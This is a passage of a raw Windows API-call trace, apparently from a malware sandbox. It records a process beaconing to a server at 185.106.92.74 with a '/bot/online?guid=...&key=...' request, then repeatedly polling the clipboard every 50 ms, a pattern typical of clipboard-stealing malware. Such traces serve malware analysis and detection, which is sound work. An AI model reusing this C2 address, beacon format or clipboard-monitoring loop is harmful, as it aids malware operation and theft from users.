[0279.619] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cef90 | out: hHeap=0x6a0000) returned 1
[0279.619] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf030 | out: hHeap=0x6a0000) returned 1
[0279.619] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cee90 | out: hHeap=0x6a0000) returned 1
[0279.619] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c1368 | out: hHeap=0x6a0000) returned 1
[0279.619] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cefd0 | out: hHeap=0x6a0000) returned 1
[0279.619] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c12a0 | out: hHeap=0x6a0000) returned 1
[0279.619] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf830 | out: hHeap=0x6a0000) returned 1
[0279.619] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c1570 | out: hHeap=0x6a0000) returned 1
[0279.619] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dbb98 | out: hHeap=0x6a0000) returned 1
[0279.620] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c1278 | out: hHeap=0x6a0000) returned 1
[0279.620] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4960 | out: hHeap=0x6a0000) returned 1
[0279.620] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf0f0 | out: hHeap=0x6a0000) returned 1
[0279.620] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf130 | out: hHeap=0x6a0000) returned 1
[0279.620] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cee50 | out: hHeap=0x6a0000) returned 1
[0279.620] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d2160 | out: hHeap=0x6a0000) returned 1
[0279.620] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf050 | out: hHeap=0x6a0000) returned 1
[0279.620] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c15e8 | out: hHeap=0x6a0000) returned 1
[0279.620] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf668 | out: hHeap=0x6a0000) returned 1
[0279.620] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c1408 | out: hHeap=0x6a0000) returned 1
[0279.620] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dba78 | out: hHeap=0x6a0000) returned 1
[0279.620] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c15c0 | out: hHeap=0x6a0000) returned 1
[0279.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f46f8 | out: hHeap=0x6a0000) returned 1
[0279.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf150 | out: hHeap=0x6a0000) returned 1
[0279.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cee70 | out: hHeap=0x6a0000) returned 1
[0279.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf430 | out: hHeap=0x6a0000) returned 1
[0279.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d2020 | out: hHeap=0x6a0000) returned 1
[0279.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf3b0 | out: hHeap=0x6a0000) returned 1
[0279.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d2250 | out: hHeap=0x6a0000) returned 1
[0279.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf770 | out: hHeap=0x6a0000) returned 1
[0279.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d2200 | out: hHeap=0x6a0000) returned 1
[0279.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db6e8 | out: hHeap=0x6a0000) returned 1
[0279.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d21d8 | out: hHeap=0x6a0000) returned 1
[0279.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f47a0 | out: hHeap=0x6a0000) returned 1
[0279.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf4b0 | out: hHeap=0x6a0000) returned 1
[0279.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf470 | out: hHeap=0x6a0000) returned 1
[0279.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf230 | out: hHeap=0x6a0000) returned 1
[0279.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d2138 | out: hHeap=0x6a0000) returned 1
[0279.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf570 | out: hHeap=0x6a0000) returned 1
[0279.621] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0279.621] InternetConnectA (hInternet=0xcc0004, lpszServerName="185.106.92.74", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008
[0279.621] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/bot/online?guid=XC64ZB\\\\\x0f&key=bc2dceabe69fa26dbf4dd8295d65e03e1990633a88c1c8410825c9266b239396", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x80000000, dwContext=0x0) returned 0xcc000c
[0279.621] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1
[0279.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18dc4c, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18dbb4 | out: lpBuffer=0x18dc4c*, lpdwNumberOfBytesRead=0x18dbb4*=0xd) returned 1
[0279.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18dc4c, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18dbb4 | out: lpBuffer=0x18dc4c*, lpdwNumberOfBytesRead=0x18dbb4*=0x0) returned 1
[0279.678] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0279.678] InternetCloseHandle (hInternet=0xcc0008) returned 1
[0279.678] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0279.678] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.678] GetClipboardData (uFormat=0x1) returned 0x0
[0279.678] CloseClipboard () returned 1
[0279.678] Sleep (dwMilliseconds=0x32)
[0279.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1abff46, dwHighDateTime=0x1d96e13))
[0279.695] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.695] GetClipboardData (uFormat=0x1) returned 0x0
[0279.695] CloseClipboard () returned 1
[0279.695] Sleep (dwMilliseconds=0x32)
[0279.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1ae61a7, dwHighDateTime=0x1d96e13))
[0279.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.711] GetClipboardData (uFormat=0x1) returned 0x0
[0279.711] CloseClipboard () returned 1
[0279.711] Sleep (dwMilliseconds=0x32)
[0279.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1b0c3fa, dwHighDateTime=0x1d96e13))
[0279.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.726] GetClipboardData (uFormat=0x1) returned 0x0
[0279.727] CloseClipboard () returned 1
[0279.727] Sleep (dwMilliseconds=0x32)
[0279.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1b32652, dwHighDateTime=0x1d96e13))
[0279.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.743] GetClipboardData (uFormat=0x1) returned 0x0
[0279.743] CloseClipboard () returned 1
[0279.743] Sleep (dwMilliseconds=0x32)
[0279.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1b588ab, dwHighDateTime=0x1d96e13))
[0279.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.757] GetClipboardData (uFormat=0x1) returned 0x0
[0279.758] CloseClipboard () returned 1
[0279.758] Sleep (dwMilliseconds=0x32)
[0279.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1b7eb04, dwHighDateTime=0x1d96e13))
[0279.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.773] GetClipboardData (uFormat=0x1) returned 0x0
[0279.773] CloseClipboard () returned 1
[0279.773] Sleep (dwMilliseconds=0x32)
[0279.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1ba4d63, dwHighDateTime=0x1d96e13))
[0279.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.790] GetClipboardData (uFormat=0x1) returned 0x0
[0279.790] CloseClipboard () returned 1
[0279.790] Sleep (dwMilliseconds=0x32)
[0279.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1bcafb8, dwHighDateTime=0x1d96e13))
[0279.805] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.805] GetClipboardData (uFormat=0x1) returned 0x0
[0279.805] CloseClipboard () returned 1
[0279.805] Sleep (dwMilliseconds=0x32)
[0279.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1d22517, dwHighDateTime=0x1d96e13))
[0279.957] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.957] GetClipboardData (uFormat=0x1) returned 0x0
[0279.967] CloseClipboard () returned 1
[0279.968] Sleep (dwMilliseconds=0x32)
[0279.979] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1d6e9bf, dwHighDateTime=0x1d96e13))
[0279.979] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.979] GetClipboardData (uFormat=0x1) returned 0x0
[0279.979] CloseClipboard () returned 1
[0279.979] Sleep (dwMilliseconds=0x32)
[0280.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1d94bff, dwHighDateTime=0x1d96e13))
[0280.002] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.002] GetClipboardData (uFormat=0x1) returned 0x0
[0280.002] CloseClipboard () returned 1
[0280.002] Sleep (dwMilliseconds=0x32)
[0280.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1dbae69, dwHighDateTime=0x1d96e13))
[0280.014] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.014] GetClipboardData (uFormat=0x1) returned 0x0
[0280.014] CloseClipboard () returned 1
[0280.014] Sleep (dwMilliseconds=0x32)
[0280.024] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1de10c8, dwHighDateTime=0x1d96e13))
[0280.024] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.025] GetClipboardData (uFormat=0x1) returned 0x0
[0280.025] CloseClipboard () returned 1
[0280.025] Sleep (dwMilliseconds=0x32)
[0280.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1e07311, dwHighDateTime=0x1d96e13))
[0280.049] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.049] GetClipboardData (uFormat=0x1) returned 0x0
[0280.049] CloseClipboard () returned 1
[0280.049] Sleep (dwMilliseconds=0x32)
[0280.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1e537b4, dwHighDateTime=0x1d96e13))
[0280.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.071] GetClipboardData (uFormat=0x1) returned 0x0
[0280.071] CloseClipboard () returned 1
[0280.071] Sleep (dwMilliseconds=0x32)
[0280.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1e79a0d, dwHighDateTime=0x1d96e13))
[0280.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.086] GetClipboardData (uFormat=0x1) returned 0x0
[0280.086] CloseClipboard () returned 1
[0280.086] Sleep (dwMilliseconds=0x32)
[0280.176] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1f385e7, dwHighDateTime=0x1d96e13))
[0280.176] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.176] GetClipboardData (uFormat=0x1) returned 0x0
[0280.177] CloseClipboard () returned 1
[0280.177] Sleep (dwMilliseconds=0x32)
[0280.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1f5e839, dwHighDateTime=0x1d96e13))
[0280.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.179] GetClipboardData (uFormat=0x1) returned 0x0
[0280.179] CloseClipboard () returned 1
[0280.179] Sleep (dwMilliseconds=0x32)
[0280.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x212848c, dwHighDateTime=0x1d96e13))
[0280.375] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.375] GetClipboardData (uFormat=0x1) returned 0x0
[0280.375] CloseClipboard () returned 1
[0280.375] Sleep (dwMilliseconds=0x32)
[0280.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x214e6c9, dwHighDateTime=0x1d96e13))
[0280.383] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.383] GetClipboardData (uFormat=0x1) returned 0x0
[0280.383] CloseClipboard () returned 1
[0280.383] Sleep (dwMilliseconds=0x32)
[0280.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x219ab94, dwHighDateTime=0x1d96e13))
[0280.417] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.417] GetClipboardData (uFormat=0x1) returned 0x0
[0280.417] CloseClipboard () returned 1
[0280.417] Sleep (dwMilliseconds=0x32)
[0280.458] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x21e7072, dwHighDateTime=0x1d96e13))
[0280.458] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.458] GetClipboardData (uFormat=0x1) returned 0x0
[0280.458] CloseClipboard () returned 1
[0280.458] Sleep (dwMilliseconds=0x32)
[0280.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x220d28b, dwHighDateTime=0x1d96e13))
[0280.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.461] GetClipboardData (uFormat=0x1) returned 0x0
[0280.461] CloseClipboard () returned 1
[0280.461] Sleep (dwMilliseconds=0x32)
[0280.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x22334d9, dwHighDateTime=0x1d96e13))
[0280.477] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.477] GetClipboardData (uFormat=0x1) returned 0x0
[0280.477] CloseClipboard () returned 1
[0280.477] Sleep (dwMilliseconds=0x32)
[0280.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2259736, dwHighDateTime=0x1d96e13))
[0280.494] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.494] GetClipboardData (uFormat=0x1) returned 0x0
[0280.494] CloseClipboard () returned 1
[0280.494] Sleep (dwMilliseconds=0x32)
[0280.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x227f992, dwHighDateTime=0x1d96e13))
[0280.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.508] GetClipboardData (uFormat=0x1) returned 0x0
[0280.508] CloseClipboard () returned 1
[0280.508] Sleep (dwMilliseconds=0x32)
[0280.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x22a5beb, dwHighDateTime=0x1d96e13))
[0280.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.523] GetClipboardData (uFormat=0x1) returned 0x0
[0280.523] CloseClipboard () returned 1
[0280.523] Sleep (dwMilliseconds=0x32)
[0280.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x22cbe45, dwHighDateTime=0x1d96e13))
[0280.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.540] GetClipboardData (uFormat=0x1) returned 0x0
[0280.540] CloseClipboard () returned 1
[0280.540] Sleep (dwMilliseconds=0x32)
[0280.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x22f209a, dwHighDateTime=0x1d96e13))
[0280.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.554] GetClipboardData (uFormat=0x1) returned 0x0
[0280.554] CloseClipboard () returned 1
[0280.555] Sleep (dwMilliseconds=0x32)
[0280.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x23182fd, dwHighDateTime=0x1d96e13))
[0280.572] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.572] GetClipboardData (uFormat=0x1) returned 0x0
[0280.572] CloseClipboard () returned 1
[0280.573] Sleep (dwMilliseconds=0x32)
[0280.603] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x23647b0, dwHighDateTime=0x1d96e13))
[0280.603] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.604] GetClipboardData (uFormat=0x1) returned 0x0
[0280.604] CloseClipboard () returned 1
[0280.604] Sleep (dwMilliseconds=0x32)
[0280.626] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x238aa25, dwHighDateTime=0x1d96e13))
[0280.626] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.626] GetClipboardData (uFormat=0x1) returned 0x0
[0280.627] CloseClipboard () returned 1
[0280.643] Sleep (dwMilliseconds=0x32)
[0280.652] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x23d6ed7, dwHighDateTime=0x1d96e13))
[0280.652] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.652] GetClipboardData (uFormat=0x1) returned 0x0
[0280.653] CloseClipboard () returned 1
[0280.653] Sleep (dwMilliseconds=0x32)
[0280.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x23fd114, dwHighDateTime=0x1d96e13))
[0280.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.671] GetClipboardData (uFormat=0x1) returned 0x0
[0280.671] CloseClipboard () returned 1
[0280.671] Sleep (dwMilliseconds=0x32)
[0280.684] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2423359, dwHighDateTime=0x1d96e13))
[0280.684] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.684] GetClipboardData (uFormat=0x1) returned 0x0
[0280.684] CloseClipboard () returned 1
[0280.684] Sleep (dwMilliseconds=0x32)
[0280.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x24495b7, dwHighDateTime=0x1d96e13))
[0280.695] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.695] GetClipboardData (uFormat=0x1) returned 0x0
[0280.695] CloseClipboard () returned 1
[0280.695] Sleep (dwMilliseconds=0x32)
[0280.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x246f896, dwHighDateTime=0x1d96e13))
[0280.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.711] GetClipboardData (uFormat=0x1) returned 0x0
[0280.711] CloseClipboard () returned 1
[0280.711] Sleep (dwMilliseconds=0x32)
[0280.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2495a72, dwHighDateTime=0x1d96e13))
[0280.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.726] GetClipboardData (uFormat=0x1) returned 0x0
[0280.726] CloseClipboard () returned 1
[0280.726] Sleep (dwMilliseconds=0x32)
[0280.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x24bbcf1, dwHighDateTime=0x1d96e13))
[0280.742] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.742] GetClipboardData (uFormat=0x1) returned 0x0
[0280.742] CloseClipboard () returned 1
[0280.742] Sleep (dwMilliseconds=0x32)
[0280.762] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x24e2101, dwHighDateTime=0x1d96e13))
[0280.762] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.762] GetClipboardData (uFormat=0x1) returned 0x0
[0280.762] CloseClipboard () returned 1
[0280.762] Sleep (dwMilliseconds=0x32)
[0280.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x25081b5, dwHighDateTime=0x1d96e13))
[0280.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.773] GetClipboardData (uFormat=0x1) returned 0x0
[0280.773] CloseClipboard () returned 1
[0280.773] Sleep (dwMilliseconds=0x32)
[0280.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x252e3f4, dwHighDateTime=0x1d96e13))
[0280.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.790] GetClipboardData (uFormat=0x1) returned 0x0
[0280.790] CloseClipboard () returned 1
[0280.790] Sleep (dwMilliseconds=0x32)
[0280.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2554659, dwHighDateTime=0x1d96e13))
[0280.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.804] GetClipboardData (uFormat=0x1) returned 0x0
[0280.804] CloseClipboard () returned 1
[0280.805] Sleep (dwMilliseconds=0x32)
[0280.820] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x257a86f, dwHighDateTime=0x1d96e13))
[0280.820] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.820] GetClipboardData (uFormat=0x1) returned 0x0
[0280.820] CloseClipboard () returned 1
[0280.820] Sleep (dwMilliseconds=0x32)
[0280.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x25a0abb, dwHighDateTime=0x1d96e13))
[0280.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.836] GetClipboardData (uFormat=0x1) returned 0x0
[0280.836] CloseClipboard () returned 1
[0280.836] Sleep (dwMilliseconds=0x32)
[0280.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x25c6e6c, dwHighDateTime=0x1d96e13))
[0280.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.852] GetClipboardData (uFormat=0x1) returned 0x0
[0280.852] CloseClipboard () returned 1
[0280.852] Sleep (dwMilliseconds=0x32)
[0280.867] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x25ecfd3, dwHighDateTime=0x1d96e13))
[0280.867] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.867] GetClipboardData (uFormat=0x1) returned 0x0
[0280.867] CloseClipboard () returned 1
[0280.867] Sleep (dwMilliseconds=0x32)
[0280.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2613209, dwHighDateTime=0x1d96e13))
[0280.883] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.883] GetClipboardData (uFormat=0x1) returned 0x0
[0280.883] CloseClipboard () returned 1
[0280.883] Sleep (dwMilliseconds=0x32)
[0280.899] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x263947d, dwHighDateTime=0x1d96e13))
[0280.899] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.899] GetClipboardData (uFormat=0x1) returned 0x0
[0280.899] CloseClipboard () returned 1
[0280.899] Sleep (dwMilliseconds=0x32)
[0280.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x265f676, dwHighDateTime=0x1d96e13))
[0280.914] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.914] GetClipboardData (uFormat=0x1) returned 0x0
[0280.914] CloseClipboard () returned 1
[0280.914] Sleep (dwMilliseconds=0x32)
[0280.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x268593d, dwHighDateTime=0x1d96e13))
[0280.930] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.930] GetClipboardData (uFormat=0x1) returned 0x0
[0280.932] CloseClipboard () returned 1
[0280.932] Sleep (dwMilliseconds=0x32)
[0280.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x26abb73, dwHighDateTime=0x1d96e13))
[0280.945] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.945] GetClipboardData (uFormat=0x1) returned 0x0
[0280.945] CloseClipboard () returned 1
[0280.945] Sleep (dwMilliseconds=0x32)
[0280.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x26d1dcc, dwHighDateTime=0x1d96e13))
[0280.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.961] GetClipboardData (uFormat=0x1) returned 0x0
[0280.961] CloseClipboard () returned 1
[0280.961] Sleep (dwMilliseconds=0x32)
[0280.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x26f801c, dwHighDateTime=0x1d96e13))
[0280.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.976] GetClipboardData (uFormat=0x1) returned 0x0
[0280.976] CloseClipboard () returned 1
[0280.976] Sleep (dwMilliseconds=0x32)
